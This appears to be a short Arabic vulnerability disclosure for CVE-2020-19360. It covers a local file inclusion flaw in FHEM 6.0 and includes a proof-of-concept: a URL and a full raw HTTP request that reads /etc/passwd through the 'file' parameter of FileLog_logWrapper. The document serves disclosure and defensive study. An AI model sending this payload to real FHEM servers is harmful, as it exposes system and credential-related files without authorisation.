emreovunc/fhem-6.0-local-file-inclusion-lfi-vulnerabilityثغرة تضمين الملفات المحلية (LFI) في FHEM 6.0 تسمح للمهاجم بتضمين ملف، مما قد يؤدي إلى كشف معلومات حساسة.
تتيح ثغرة LFI في FHEM 6.0 للمهاجم تضمين ملف، مما قد يؤدي إلى كشف معلومات حساسة.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-19360
لاستغلال الثغرة، يمكن للمهاجم استخدام طلب 'http://[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text' للحصول على بعض المعلومات من الهدف عن طريق تغيير معامل "file".
GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: 172.16.155.129:8083
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
